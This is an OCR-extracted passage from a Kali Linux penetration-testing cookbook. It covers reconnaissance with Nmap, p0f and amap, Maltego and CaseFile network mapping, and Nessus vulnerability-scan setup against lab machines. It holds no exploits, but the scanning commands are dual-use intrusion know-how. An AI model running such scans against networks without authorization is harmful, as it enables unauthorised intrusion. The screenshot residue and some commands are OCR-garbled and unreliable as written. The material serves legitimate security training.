3. Orspecify Nmap to scan all the organization's network on TCP port 22:
nmap -p 22 192.168.56.*

7@
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4. Or output the result to a specified format:

nmap -p 22 192.168.10.* -oG /tmp/nmap-targethost-tcp445.txt

In this recipe, we used Nmap to scan target hosts on our network to determine what ports
are open.

Nmap has a GUI version called Zenmap, which can be invoked by issuing the command

zenmap at the terminal window or by going to Applications | Kali Linux | Information
Gathering | Network Scanners | zenmap.

* Zenmap
Scan Tools Profile Help
Target: [| ‘ ‘ Profile: |Inten5e5can [ v | | Scan | | i |
Command: Inmap T4-A-v |
| Hosts | Services | | Nmap Output | Ports / Hosts Topology Host Details Scans
OS  Host v | | ‘ ‘
| Filter Hosts

Operating system fingerprinting

At this point of the information gathering process, we should now have documented a list
of IP addresses, active machines, and open ports identified from the target organization.
The next step in the process is determining the running operating system of the active
machines in order to know the type of systems we're pentesting.
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Getting ready

A Wireshark capture file is needed in order to complete step 2 of this recipe.

How to do it...

Let's begin the process of OS fingerprinting from a terminal window:

1. Using Nmap, we issue the following command with the -0 option to enable the 0OS
detection feature:

nmap -O 192.168.56.102

2. Use p0f to analyze a Wireshark capture file:

pO0f -s /tmp/targethost.pcap -o pOf-result.log -1

p0f - passive os fingerprinting utility, version 2.0.8

(C) M. Zalewski <lcamtuf@dione.cc>, W. Stearns

@
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<wstearns@pobox.com>

pO0f: listening (SYN) on 'targethost.pcap', 230 sigs (16
generic), rule: 'all'.

[+] End of input file.

Service fingerprinting

Determining the services running on specific ports will ensure a successful pentest on the
target network. It will also remove any doubts left resulting from the OS fingerprinting process.

How to do it...

Let's begin the process of service fingerprinting by opening a terminal window:

1. Open a terminal window and issue the following command:
nmap -sV 192.168.10.200

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-28
05:10 CDT

Interesting ports on 192.168.10.200:

Not shown: 1665 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd 5.0

25/tcp open smtp Microsoft ESMTP 5.0.2195.6713
80/tcp open http Microsoft IIS webserver 5.0

119/tcp open nntp Microsoft NNTP Service 5.0.2195.6702
(posting ok)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443 /tcp open https?

445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
1025/tcp open mstask Microsoft mstask

1026 /tcp open msrpc Microsoft Windows RPC

1027/tcp open msrpc Microsoft Windows RPC

1755/tcp open wms?

3372/tcp open msdtc?

6666/tcp open nsunicast Microsoft Windows Media Unicast
Service (nsum.exe)
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MAC Address: 00:50:56:C6:00:01 (VMware)

Service Info: Host: DC; 0S: Windows

Nmap finished: 1 IP address (1 host up) scanned in 63.311
seconds

2. Using amap, we can also identify the application running on a specific port or a range
of ports, as shown in the following example:

amap -bg 192.168.10.200 200-300

amap v5.4 (www.thc.org/thc-amap) started at 2012-03-28
06:05:30 - MAPPING mode

Protocol on 127.0.0.1:212/tcp matches ssh - banner: SSH-2.0-
OpenSSH_3.9pl\n

Protocol on 127.0.0.1:212/tcp matches ssh-openssh - banner:
SSH-2.0-OpenSSH 3.9pl\n

amap v5.0 finished at 2005-07-14 23:02:11

Threat assessment with Maltego

In this recipe, we'll begin with the use of a special Kali edition of Maltego, which will aid us
in the information gathering phase by representing the information obtained in an easy to
understand format. Maltego is an open source threat assessment tool that is designed to
demonstrate the complexity and severity of a single point of failure on a network. It has the
ability to aggregate information from both internal and external sources to provide a clear
threat picture.

Getting ready

An account is required in order to use Maltego. To register for an account, go to
https://www.paterva.com/web6/community/.

How to do it...

Let's begin the recipe by launching Maltego:

1. Launch Maltego by going to Applications | Kali Linux | Information Gathering |
OSINT Analysis | maltego. The page will look like the following screenshot:
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L & Investigate E Machi
( I \-aCepy Number of Results " | :l o P it b A >
S dew Q) & i o Mg
Paste Clear
Al @ Delets Welcome to Maltego!

eps Startup wizard - Welcome (1 of 5)

' E 4 Start Page =
1 Welcome
M Recent Graphs . Login Welcome to Maltego!

Login result
_S,ebo:t transform This wizard will guide you through the steps of setting up your
Update transf Maltego Client for first use.

We hope that you enjoy using our product as much as we enjoy
building it!

Please note that the Community Edition is intended for
non-commercial use anly!

ALTEGD RADIUM CE
ALl LINUK

Show on Startup

Manage Organize

Startup wizard - Login (2 of 5)

4 Start Page x I Enter your details below to login to the Maltego Community Server

Recent Graphs — Or if you have not done so yet, register here

Login
*Email Address |

Password |

and I@aﬂ

*Solve captcha |

ALTEGD RADIUM CE
ALl LINUX

they'll find a T
aiting for them - it!

Show on Startup
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3. Click on Next to validate our login credentials. When validated, click on the Next
button to proceed.

4. Select the transform seed settings and click on Next:

Investigate R ELED ] Organize
Copy

| urker ofresuts || iR m
- Cu L]

Paste Clear ™ - - ‘I
All D

Startup wizard - Select transform seeds (4 of 5)

74 Start Page x
Recent Graphs

Discover transforms from:

Maltego public servers

_‘i";—*?"e iR [ |Local TAS (Transform Application Server)

Mote: The transform seed settings can be changed later through Manage-=Discover
Transforms
ALTEGO RADIUM CE

ALl LINUX

Show on Startup

5. The wizard will perform several operations before continuing to the next screen.
When done, select Open a blank graph and let me play around and click on Finish:

[



Chapter 4

Manage Organize

Startup wizard - Update transforms (5 of 5)

i Start Page =
Recent Graphs

Congratulations!

Select transform se
Update transforms
e

Your new Maltego client has been initialized sucessfully!

3 new application server(s) were found
139 new transforms were found
76 new entities were installed

You are now ready to use Maltego!

® Open a blank graph and let me play around
) Open an example graph

() Go away, | have done this before!

ALTEGD RADIUM CE
ALl LINUK

Show on Startup

6. To begin with, drag-and-drop the Domain entity from the component Palette to the
New Graph document:

Investigate Manage Organize

w-Copy Hurvibir of Restlts m 3 A
L@ | = [ o
2 A Cut 4 : o) A
Paste Clear Quick || Entity
| Al & Delete | Find || Selection “ 1 i
@ Bl wain view | Bubble view | Entity List 1 8 %
- i N L TR | 2
= DNS Name ) ?
b <no selection> H
Domain
Y

An internst ¢
w5 IPva Addre

An IP ver

Es MXRecord
AT 1

= Property View [ » =

v &
\a/
paterva.com

NS Record
&

<MNo Propertiess
Website

An inter

JE Output ¥

@ Locations
© Penetra...
© Personal

? SocialN... |




Information Gathering

7. Setthe domain name target by clicking on the created Domain entity and editing the
Domain Name property located on the Property View:

-, Start Page = £ New Graph (1) + = _ L Aol [ Detail View

Main View || Bubble View i| Entity List i

&/

paterva.com

e
@ Output

L

|2 x

&

paterva.com

M3AINBAQ &

= Property View
@ Properties

Type

 [Domain tome  [EEUERES

WHOIS Infa

L]
L]

@ Graph info

Weight
Incaming links
Qutgoing links
Bookmark

8. Once the target is set, we can start gathering the information. To begin with,
right-click on the created Domain entity and select Run Transform to display
the available options:

~, Gtart Page = |EE Example Graph (1) = |Ef Mew Graph (2) * =

Main View || Bubble View || Entity List | -

2 o] 2]

(&

targethos

A

Run Transform

Copy to New Graph
Change Type

Merge

Clear/Refresh Images
Attach

»
b

All Transforms
DNS from Domain
Domain owner detail

Email addresses from Domain

Files and Documents
Other transforms

4
bk
4
]
4

from Domain

Type Actions

-

All transforms

Copy
Copy (as List)
Cut

Delete

=



Chapter 4

9. We can choose to find the DNS names, perform a WHOIS, get the e-mail
addresses, and so on, or we can also choose to run all the transforms as
shown in the following screenshot:

“. Start Page = |Ef New Graph (1) + =
Main View | Bubble View | Entity List | I'{I

infa@targethost.com 1 w
] us
ns-2525.dns-43 co Lk 5
www.targethost com
p 1
(s (Y] _ =
=l +1 225 525 2525 e ]
E | I [
LT‘J Output - Transform Output
Transform To Entities (NER) [Alchemy and OpenCalais] via whois returned with 8 entities.
Transform To Phone Mumbers [using Search Enginel returned with 2 entities.
Transform To Emails @domain [using Search Enginel returned with 4 entities,
Using Schema http://tastools,paterva.con/bfdns/aaastandard, bfdns
Transform DomainToDMSNameSchema returned with 1 entities.

10. We can get even more information by performing the same operation with a linked
child node, and so on until we get all the information we want.

In this recipe, we used Maltego to map the network. Maltego is an open source tool used for
information gathering and forensics which was created by Paterva. We began the recipe by
completing the setup wizard. Next, we used the Domain entity by dragging it into our graph.
Finally, we concluded by allowing Maltego to complete our graph by checking various sources
to complete the task. This makes Maltego highly useful because we are able to utilize this
automation to quickly gather information on our target, such as gathering e-mail addresses,
servers, performing WHOIS lookups, and so on.

» The Community Edition only allows us to use 75 transforms as

part of our information gathering. The full version of Maltego

currently costs $650.

&1
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There's more...

Activating and deactivating transforms is done through the Transform Manager window under
the Manage ribbon tab:

* Transform Manager
All Transforms | Transform Servers | Transform Sets | [

‘ { New Local Transform... ‘ ‘ Q,

¥

gl

Transfarm Status Location Default set Input Qutput
{5 AliasToFacebookProfile

£ AliasToTwitterAccount

£ AliasToTwitterUser

£ DomainToDNSNameSchema
£ DomainToSDAINformation

£ DomainToSPFInformation

£ FlickriccountGetFriends

@ Mirror: Email addresses found
@ Mirror: External links found

£ NetblockTolPs

£ MetblockToNetblocks

]

@ Parse meta information Ii

AliasToFacebookProfile 1 @ Properties
“|Description

‘| Status
“|Location
‘| Default set

=) & Input

| Output

Close

To be able to use several transformations, a disclaimer must be accepted first.

Mapping the network

With the information gained from the earlier recipes, we can now proceed to create the
blueprint of the organization's network. In this final recipe of the chapter, we will see how
to visually compile and organize the information obtained using Maltego CaseFile.

CaseFile, as stated on the developer's website, is like Maltego without transforms, but
with tons of features. Most of the features will be demonstrated in the How to do it... section
of this recipe.

~[ee]
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How to do it...

Let's begin the recipe by launching CaseFile:

1. Launch CaseFile by going to Applications | Kali Linux | Reporting Tools | Evidence
Management | casefile.

2. To create a new graph, click on New in CaseFile's application menu:

Maltego File Cormmunity 1.0.0

| Recent Documents

New

Qi FPEEBE N ¢

Open

Save 5 Overview » x
Save All

Save As

Save to Server

Import L5 Detail View » %
mpol >

Export 3
=<no selection>
Print 3

More about CaseFile »

= Property View » o=

|38 Exit | Optioné

=Mo Froperties=

Show on Star...

7}
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3. Just as with Maltego, we drag-and-drop each entity from the component Palette
into the graph document. Let's start by dragging the Domain entity and changing
the Domain Name property:

Maltego CaseFile Cormmunity 1.0.0

Investigate ELELE organize

[ l .- Copy H . Ijl Sl sl
] . Cut | [ %
Paste Clear ™ tntly. o= XX .
3 Selection $a ® =

All @ Delete

| Palette | « =87, start Page = Ef New Graph (1) * x L d-Ael 5 ooverview » x

© Devices Main View H Bubble View u Entity List | | &%
& Events e
@ Groups

@ Infrastructure
@& AS

' Aninternet Autonom

E-,"- DNS Name

*  Domain Name System|

[ Detail View » x

@ Domain = D
An internet domain m arnain

. 1Pva Address la/ &/ paterva.co

= AnIp version 4 addres

= MX Record targethost.com

A DNS mail exchange

&

Be NS Record
~ A DNS name server re| = Property View

- Netblock @ Properties

E=

An internet Autonomd | Tvpe
— URL Domain Name targeth...D
¥  An internet Uniform R WHOIS Info
Website @ Graph info
E.—! An internet wabsite Weight

- Locations Incoming links

4. To add a note, hover your mouse pointer over the entity and double-click on the
note icon:

(e
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Maltego CaseFile Community 1.0.0

Organize

( l .- Copy m b J‘u !.E & :l :
Paste Cle:ar s
¥ Al © Delete

Entity %
selection 38 o fa W T T

[ Palette | « = |, start page = | New Graph (1) * x Lt =Rl 5 ovenview » x
© Devices Main View “ Bubble View H Entity List ! | 2
® Events - ’il
@ Groups

@ Infrastructure
o AS

An internet Autonom

e

x
DNS Name This is our starting point El'. Detail View » x

Domain Name System|

v

() Domain =| Dom
An internet domain r maltego. Domain
5 IPvd Address w L = paterva.co

An IP version 4 addres|

MX Record targethost.com

A DS mail exchange

EF

NS Record
A DHS name
Netblock © Properties
Aninternet Autonomd | Type

UHL Domain Name targeth...[..
An internet Uniform R, WHOIS Info

@ Graph info
Weight
Incaming links

B

ver re = Property View | » =

L

B Website
Aninternet website

& Locations

5. Let's drag another entity to record the DNS information from the target:

[ l .- Copy H | m Sedlddl :1"

U ., -
Cut iy NaxXX =

paste Clear %
- All & Delete selection 38 & fo @ = T

|| Palette | « = I, start Page = |Ef Mew Graph (1) * = LHR-Rod 5 overview » x

€ Devices Main View || Bubble View H Entity List !
© Events -
@ Groups ( w

@ Infrastructure
O

An internet Autonomg

®

DNS Name

Domain Name System|

3
This is our starting point q" Detail View \ » x

b

Aninternet domain | maltego.ONSName
IPv4 Address w R—g nlel.targ

An P version 4 addres

Domain = g DNSName

B E

MX Record targethost,com

A DNS mail exchange

gl

B NS Record
® A DNS name server re| - Property View | » =
|
Netblock § Properties
Aninternet Autonomd | JP Type
URL ns101.targethost.com DNS Hame  ns10OL.t... [

L

® Graph info
‘Weight
Incoming links

Aninternet Uniform R

s Website
An internet wehsite

& Locations

Outgaing links
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6. To link entities, just drag a line from one entity into another:

¢ LT

Investigate

[ l .- Copy
3 . Cut

Paste Clear

3 All @ Delete

@ Infrastructure

7 AS

)
' Aninternet Autonom

£, DNS Name
a
* Domain Hame System

Be NS Record

Manage

Maltego CaseFile Cormmunity 1.0.0

organize

A [

Entity
Selection $2 Je

R | Y U €
KRaxXd
PR

L]

[ ]|
This is our starting point

[ Palette |« = |7, start Page = |HfNew Graph (1) * x pmbdid - Overview i
©- Devices Main View H Bubble View u Entity List ! 5

& Events = &

@ Groups ( w

Detail View

@ Domain — i in
An internet domain (. K. ot e
IPv4 Address w )‘ targethost_ =
* An P version 4 addres =
_ MX Record targethost.co < Notes
5-! A DNS mail exchange This is our starting point

A DNS name server re = Property View | » =
L]
- Netblock @ Properties
"8 Aninternet Autonomd | T’ Type

Domain Name targeth...D L

— URL nsl0l.targethost.com
™  Aninternet Uniform R WHOIS Info
Website @ Graph info
E= An internet website B Weight
&~ Locations I W |'ncoming links
7. Customize the properties of the link as needed:
* Properties
Label | |
Show Label |Use Global Setting |v|

]
-]
-]

Description | |

Style |So|id

Thickness |2

[ ] Do not show this dialog again

5]
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8. Repeat steps 5, 6, and 7 to add more information to the graph about the

organization's network:

*, Start Page = B TargetHost * x

Main View || ﬁubhleview || Entity List | | =

I

- e

Target Company \\‘

A
|

B -—-- -> e

targethost.com 207.143.76.86

V[

nsl0l.targethost.com

s

L]

192.168.10.101

At

L]

16810106

At

L]

192.168.10:201

L

Mgmt

S

Admin

L]

HR

9. Finally, we save the information graph. The graph document can be opened and
edited at a later time if we feel the need to do so, like in situations when we have

more information from the acquired target.

In this recipe, we used Maltego CaseFile to map the network. CaseFile is a visual intelligence
application that we used to determine the relationships and real-world links between
hundreds of different types of information. It is primarily an offline intelligence, meaning this
is a manual process. We began the recipe by launching CaseFile and creating a new graph.
Next, we used the knowledge we had gathered or known about the network and began adding
components to the graph to showcase its setup. We concluded the recipe by saving the graph.

i
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There's more...

We can also encrypt the graph document in order to keep it safe from public eyes. To encrypt
the graph, when saving, check the Encrypt (AES-128) checkbox and provide a password.




Vulnerability
Assessment

In this chapter, we will cover:

» Installing, configuring, and starting Nessus

» Nessus - finding local vulnerabilities

» Nessus - finding network vulnerabilities

» Nessus - finding Linux-specific vulnerabilities

» Nessus - finding Windows-specific vulnerabilities
» Installing, configuring, and starting OpenVAS

» OpenVAS - finding local vulnerabilities

» OpenVAS - finding network vulnerabilities

» OpenVAS - finding Linux-specific vulnerabilities

» OpenVAS - finding Windows-specific vulnerabilities

Introduction

Scanning and identifying vulnerabilities on our targets is often considered one of the more
tedious tasks by most penetration testers and ethical hackers. However, it's one of the most
important. This should be considered your homework phase. Just like in school, the homework
and quizzes are designed so that you can show mastery for your exam.

Vulnerability identification allows you to do your homework. You will learn about what
vulnerabilities your target is susceptible to so you can make a more polished set of attacks.

In essence, if the attack itself is the exam, then vulnerability identification allows you a chance
to prepare.
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Both Nessus and OpenVAS have similar sets of vulnerabilities that they can scan for on a
target host. These vulnerabilities include:

» Linux vulnerabilities

» Windows vulnerabilities

» Local security checks

» Network service vulnerabilities

Installing, configuring, and starting Nessus

In this recipe, we will install, configure, and start Nessus. Nessus depends on vulnerability
checks in the form of feeds in order to locate vulnerabilities on our chosen target. Nessus
comes in two flavors of feeds: Home and Professional.

» Home Feed: The Home Feed is for noncommercial/personal usage. Using Nessus in
a professional environment for any reason requires the use of the Professional Feed.

» Professional Feed: The Professional Feed is for commercial usage. It includes
support and additional features such as unlimited concurrent connections and so on.
If you are a consultant and are performing tests for a client, the Professional Feed is
the one for you.

For our recipe, we will assume you are utilizing the Home Feed.

Getting ready

The following requirements need to be fulfilled:

» A connection to the Internet is required to complete this recipe
» Avalid license for the Nessus Home Feed

How to do it...

Let's begin the installation, configuring, and starting of Nessus by opening a terminal window:
1. Open the IceWeasel web browser and navigate to the following URL: http://www.
tenable.com/products/nessus/select-your-operating-system.

2. Onthe left-hand side of the screen, under Download Nessus, select Linux and then
(at least as of this writing) choose Nessus-5.2.1-debian6_amd64.deb.

=
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3. Download the file to your local root directory.

=

P

I Name: Ne==u=—5.2.1—debian6_arnd64

Download Nessus

r Microsoft Windows

r Mac OS X

Debian 6.0 (32 bits)
Nessus-5.2 1-debian6_i386.deb

ebian 6.0 (64 bits):
essus-5.2.1debianb_amd64.deb

Please Select Your Operating System

v Linux

V| Save in folder:

Create Folder

Desktop

[ File System

Places | Name
@, Search Desktop
&) Recently Used

~  Size Modified
Yesterdayat 17:22
A
e

Debian package

[55]-
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4. Open aterminal window.
5. Execute the following command to install Nessus:
dpkg -i "Nessus-5.2.l1-debian6 i386.deb"

The output of the preceding command will be as follows:

sing the Nessus plugins...

[ B R R S B R S ]

ALl plugins loaded

6. Nessus will be installed under the /opt /nessus directory.

7. Once the installation completes, you can run Nessus by typing the
following command:

/etc/init.d/nessusd start

Before you can begin using Nessus, you must have a registration
code. You can get more information on how to do this from the
following There's more... section.

8. Enable your Nessus install by executing the following command:

/opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX-
XXXX

In this step, we will also grab the latest plugins from http://plugins.nessus.
org.

Depending on your Internet connection, this may take a
A minute or two.

5]
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9. Now enter the following command in the terminal:

/opt/nessus/sbin/nessus-adduser

10. At the login prompt, enter the login name of the user.
11. Enter the password twice.

12. Answer as Y (Yes) to make this user an administrator.

[ This only needs to be performed on your first use. ]

13. Once complete, you can run Nessus by typing the following command (it won't work
without a user account):

/etc/init.d/nessusd start

14. Log in to Nessus at https://127.0.0.1:8834.

If you are going to use Nessus, remember to do so either from an
4 installed version of Kali Linux on your local machine or from a virtual
machine. The reason for this is that Nessus activates itself based upon
the machine that it's using. If you install to a USB key, you will have to
reactivate your feed every time you restart the machine.

In this recipe, we began by opening a terminal window and installing Nessus via the repository.
We later started Nessus and installed our feed certificate in order to utilize the program.

In order to register your copy of Nessus, you must have a valid license which can be obtained
from http://www.tenable.com/products/nessus/nessus-homefeed. Also, Nessus
runs as Flash inside the browser, so you may have to install the Flash plugin for Firefox the
first time you start the program. If you run into an issue using Flash, go to www.get . adobe.
com/flashplayer for more information.
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Nessus - finding local vulnerabilities

Now that we have Nessus installed and configured, we will be able to begin testing of our first
set of vulnerabilities. Nessus allows us to attack a wide range of vulnerabilities depending

on our feed, and we will confine our list of assessing the vulnerabilities of our target to those
specific to the type of information we seek to gain from the assessment. In this recipe, we will
begin by finding local vulnerabilities. These are vulnerabilities specific to the operating system
we are using.

Getting ready

To complete this recipe, you will be testing your local system (Kali Linux).

How to do it...

Let's begin the process of finding local vulnerabilities with Nessus by opening the Mozilla
Firefox web browser:

1. Loginto Nessus athttps://127.0.0.1:8834.

2. Goto Policies.

3. Click on New Policy.

NeSSUS' vulnerability scanner

Festits St e Scan Templates Folicies Users Configuration

o
W Filter Options:

=]
L¥ General Setings Policy General Settings

Setting Type Basic -

-
}" Hame
Visibility | private -
Description

Allow Post-Scan Report Editing [+

5]



Chapter 5

4. On the General Settings tab, perform the following tasks:
1. Under Settings Type, choose Basic.

2. Enter a name for your scan. We chose Local Vulnerability
Assessment, but you can choose any name you wish.

3. Visibility has two options:
o Shared: Other users have the ability to utilize this scan
o Private: This scan can only be utilized by you

4. Take the defaults on the rest of the items on the page.
5. Click on Update.

5. On the Plugins tab, select Disable All and select the following specific vulnerabilities:
o Ubuntu Local Security Checks
o Default Unix Accounts

canner

Palicies Users Configuration

o
é W Fifter Options
o] Palicy Plugin Configurations soEe ] |
e i
fisabled I Al Local Security Checks SR
‘: Plugins e o
|---- ed | Backdoors B
b
f‘ abled | Brute force attacks gl
i I CGl abuses 2533
:1| CGlabuses : XSS 513
il cIsco E=lf
abled | CentOS Local Security Checks L0
| pus 73

6. Click on Update to save your new policy.

7. Onthe main menu, click on the Scan Queue menu option.

s
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8. Click on the New Scan button and perform the following tasks:

1. Enter a name for your scan. This is useful if you will be running more
than one scan at a time. It's a way to differentiate the scans that are
currently running.

2. Enter the type of scan:
o Run Now: Enabled by default, this option will run this scan immediately
o Scheduled: Allows you to choose the date and time to run the scan
o Template: Allows you to set this scan as a template

3. Choose a scan policy. In this case, the Local Vulnerabilities Assessment
policy we created earlier in the recipe.

4. Choose your targets considering the following points:
o Targets must be entered one per line
o You can also enter ranges of targets on each line

5. You may also upload a target's file (if you have one) or select Add Target
IP Address.

9. Click on Run Scan:

@ New Scan Template

L¥ General Settngs General Scan Settings
DA
Iame Sample Scan
Type | Run Now -
Policy | Local Vulnerability Assessment = |
Scan Targets
Upload Targets | |_Rrowse )
ancel

100
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10. You will get a confirmation and your test will complete (depending on how many
targets are selected and the number of tests performed).
11. Once completed, you will receive a report.
12. Double-click on the report to analyze the following points (on the Results tab):
o Each target in which a vulnerability is found will be listed
o Double-click on the IP address to see the ports and issues on each port

o Click on the number under the column to get the list of specific
issues/vulnerabilities found

a The vulnerabilities will be listed in detail

13. Click on Download Report from the Reports main menu.

Nessus - finding network vulnerabilities

Nessus allows us to attack a wide range of vulnerabilities depending on our feed, and we will
confine our list of assessing the vulnerabilities of our target to those specific to the type of
information we seek to gain from the assessment. In this recipe, we will configure Nessus to
find network vulnerabilities on our targets. These are vulnerabilities specific to the machines
or protocols on our network.

Getting ready

To complete this recipe, you will need a virtual machine(s) to test against:

» Windows XP

» Windows 7

» Metasploitable 2.0

» A network firewall or router

» Any other flavor of Linux
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How to do it...

Let's begin the process of finding network vulnerabilities with Nessus by opening the Mozilla
Firefox web browser:

1. LogintoNessusathttps://127.0.0.1:8834.

2. Goto Policies.
3. Click on Add Policy.

»
N e S S U S vulnerability scanner oot Help & Suppart Sign Out
& o
Fesufts Scan Queus Sca nplates Palicies Users Configuration
é W Fitter Cptions .
L¥ General Setings Policy General Settings
med
Setting Type Basic -
LY
f‘ Mame
Wisibility | private >
Description
Allow Post-Scan Report Editing (¥

4. On the General tab, perform the following tasks:

1. Enter a name for your scan. We chose Internal Network Scan,
but you can choose any name you wish.

2. Visibility has two options:
o Shared: Other users have the ability to utilize this scan

o Private: This scan can only be utilized by you

3. Take the defaults on the rest of the items on the page.
4. Click on Update.
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5. On the Plugins tab, click on Disable All and select the following specific
vulnerabilities:

[m]

[m]

cisco

DNS

Default Unix Accounts
FTP

Firewalls

Gain a shell remotely
General

Netware

Peer-To-Peer File Sharing
Policy Compliance

Chapter 5

Fo

‘: Plugins
A

Scroll
Up

Port Scanners
SCADA
SMTP Problems
SNMP
Service Detection
Settings
wm il
SCADA 3
SMTP problems 130
enabled SHWP 29
|7! Scientific Linux Local Security Checks 1445
Service detection 394
enabled [E=GLH 56
|fl Slackware Local Security Checks 608
i—l Solaris Local Security Checks 3261
|7l SuSE Local Security Checks 5131
i pled | Ubrtu Local Securty Checks 2123
i—.l Viiware ESX Local Security Checks 79
|7-! Web Servers 785
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6. Click on Update to save your new policy.
7. Onthe main menu, click on the Scan Queue menu option.
8. Click on the New Scan button and perform the following tasks:

1. Enter a name for your scan. This is useful if you will be running more
than one scan at a time. It's a way to differentiate the scans that are

currently running.
2. Enter the type of scan:

o Run Now: Enabled by default, this option will execute the scan
immediately

o Scheduled: Allows you to select the date and time the scan is to
be executed

o Template: Allows you to set this scan as a template
3. Choose a scan policy. In this case, the Internal Network Scan policy
we created earlier in the recipe.
4. Choose your targets considering the following points:
o Targets must be entered one per line
o You can also enter ranges of targets on each line

5. You may also upload a target's file (if you have one) or select Add Target
IP Address.

9. Click on Run Scan:

© New scan Template

L¥ General Settings General Scan Settings
D4
Mame Internal Metwork Scan
Type Run Mow v
Folicy External Metwork Scan -
Scan Targets
Upload Targets | |_Rrowse




Chapter 5

10. You will get a confirmation and your test will complete (depending on how many
targets are selected and the number of tests performed).

2esults Scan Queus

$ Scan Queue =+ Hew Scan £ Options

v Name Created By StartTime «

Internal Hetwork Scan root June 26, 2013 23:10:58 ?

11. Once completed, you will receive a report inside of the Results tab.
12. Double-click on the report to analyze the following points:
o Each target in which a vulnerability is found will be listed
o Double-click on the IP address to see the ports and issues on each port

o Click on the number under the column to get the list of specific issues/
vulnerabilities found

a The vulnerabilities will be listed in detail

13. Click on Download Report from the Reports main menu.

Nessus - finding Linux-specific

vulnerabilities

In this recipe, we will explore how to find Linux-specific vulnerabilities using Nessus.
These are vulnerabilities specific to the machines that run Linux on our network.

Getting ready

To complete this recipe, you will need a virtual machine(s) to test against:

» Metasploitable 2.0
» Any other flavor of Linux
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How to do it...

Let's begin the process of finding Linux-specific vulnerabilities with Nessus by opening the
Mozilla Firefox web browser:

1. Loginto Nessusathttp://127.0.0.1:8834.

2. Go to Policies.

3. Click on Add Policy:

N €SSUS vulneranility scanner SEASTEN ST

o =
Fesults Scan Queue Scan Templaes Policies Users Configuration
o
é W Filer Options
L} General Settings Policy General Settings
]
Setting Type Basic -
LY
/‘ Mame
Visibility private 2
Description
Allow Post-Scan Report Editing [+

4. Onthe General Settings tab, perform the following tasks:

1. Enter a name for your scan. We chose Linux Vulnerability Scan, but you can
choose any hame you wish.

2. Visibility has two options:
o Shared: Other users have the ability to utilize this scan

o Private: This scan can only be utilized by you

3. Take the defaults on the rest of the items on the page.
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5. On the Plugins tab, click on Disable All and enter the following specific vulnerabilities.
This list is going to be rather long as we are scanning for services that may be running
on our Linux target:

[m]

[m]

[m]

Backdoors

Brute Force Attacks

CentOS Local Security Checks
DNS

Debian Local Security Checks
Default Unix Accounts

Denial of Service

FTP

Fedora Local Security Checks
Firewalls

FreeBSD Local Security Checks
Gain a shell remotely

General

Gentoo Local Security Checks
HP-UX Local Security Checks
Mandriva Local Security Checks
Misc

Port Scanners

Red Hat Local Security Checks
SMTP Problems

SNMP

Scientific Linux Local Security Checks
Slackware Local Security Checks
Solaris Local Security Checks
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o  SuSE Local Security Checks
o Ubuntu Local Security Checks

a Web Servers

d | Settings

o ‘

Slackware Local Security Checks
-

Solaris Local Security Checks
< Plugins

SuSE Local Security Checks
¥

“

enabled Ubunitu Local Security Checks

ViMware ESX Local Security Checks

U Web Servers

| Windows

| Windows : Microsoft Bulleting

Windows : User management

Upd‘ﬂe‘ Gancel

Scroll
Up

56

608

3261

5131

2123

79

785

2330

814

28

6. Click on Update to save your new policy.
7. Onthe main menu, click on the Scan Queue menu option.
8. Press the New Scan button and perform the following tasks:

1. Enter a name for your scan. This is useful if you will be running more
than one scan at a time. It's a way to differentiate the scans that are
currently running.

2. Enter the type of scan:

o Run Now: Enabled by default, this option will cause the scan to
execute immediately

o Scheduled: Allows you to choose the date and time the scan
should execute

o Template: Allows you to set this scan as a template

3. Choose a scan policy. In this case, the Linux Vulnerabilities Scan policy

we created earlier in the recipe.
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4. Choose your targets considering the following points:
o Targets must be entered one per line
o You can also enter ranges of targets on each line
o Upload a target's file (if you have one) or select Add Target IP Address

9. Click on Launch Scan:

0 ree— R = =
Resutts Scan Queus Scan Templates Policies Users Configuration 00t Help & Support Sign Cut

€ new Scan Template

L¥ ceneral Seuings General Scan Settings

D]
ame

Type Run Mow -
Paolicy External Network Scan v

Scan Targets

Upload Targets I |_Rrowse

E e

10. You will get a confirmation and your test will complete (depending on how many
targets are selected and the number of tests performed).

11. Once completed, you will receive a report on the Reports tab.
12. Double-click on the report to analyze the following points:
o Each target in which a vulnerability is found will be listed
o Double-click on the IP address to see ports and issues on each port

o Click on the number under the column to get the list of specific
issues/vulnerabilities found

o The vulnerabilities will be listed in detail

13. Click on Download Report from the Reports main menu.
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Nessus - finding Windows-specific

vulnerabilities

In this recipe, we will explore how to find Windows-specific vulnerabilities using Nessus.
These are vulnerabilities specific to the machines that run Windows on our network.

Getting ready

To complete this recipe, you will need a virtual machine(s) to test against:

» Windows XP
» Windows 7

How to do it...

Let's begin the process of finding Windows-specific vulnerabilities with Nessus by opening the
Mozilla Firefox web browser:

1. Loginto Nessusathttp://127.0.0.1:8834.
2. Goto Policies.
3. Click on Add Policy.

N eSSUS vulnerability scanner GEEESIETE SRR
o

Restits Scan Queue Scan Templates Palicies Users Configuration

é W Fitter Options "
L} General setings Policy General Settings

e (B

. Setting Type Basic

LY

f‘ Hame

Wisibility private

Description

Allow Post-Scan Report Editing &

Cancel




Chapter 5

4. On the General Settings tab, perform the following tasks:

1. Enter a name for your scan. We chose Windows Vulnerability Scan,
but you can choose any name you wish.

2. Visibility has two options:
o Shared: Other users have the ability to utilize this scan
o Private: This scan can only be utilized by you

3. Take the defaults on the rest of the items on the page.
4. Click on Submit.

5. On the Plugins tab, select Disable All and enter the following specific vulnerabilities
that are likely to be available on a Windows system:

DNS

Databases

Denial of Service

FTP

SMTP Problems

SNMP

Settings

Web Servers

Windows

Windows: Microsoft Bulletins
Windows: User management

0 0O 0O 00000 O O

Folicies

. -
| "= | Slackware Local Security Checks 608
- (B
i = | Solaris Local Security Checks 3261
< Plugins
disable SuSE Local Security Checks 5131
by L !
A S—
| = | UbuntuLocal Security Checks 2123
| = | VMware ESX Local Security Checks 79
Windows 2330
Windows : Microsoft Bulletins 814
T =
Cancel
Scroll
Up
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6. Click on Submit to save your new policy.
7. Onthe main menu, click on the Scans menu option.
8. Click on the Add Scan button and perform the following tasks:

1. Enter a name for your scan. This is useful if you will be running more

than one scan at a time. It's a way to differentiate the scans that are
currently running.

2. Enter the type of scan:

o Run Now: Enabled by default, this option will cause the scan
to execute immediately

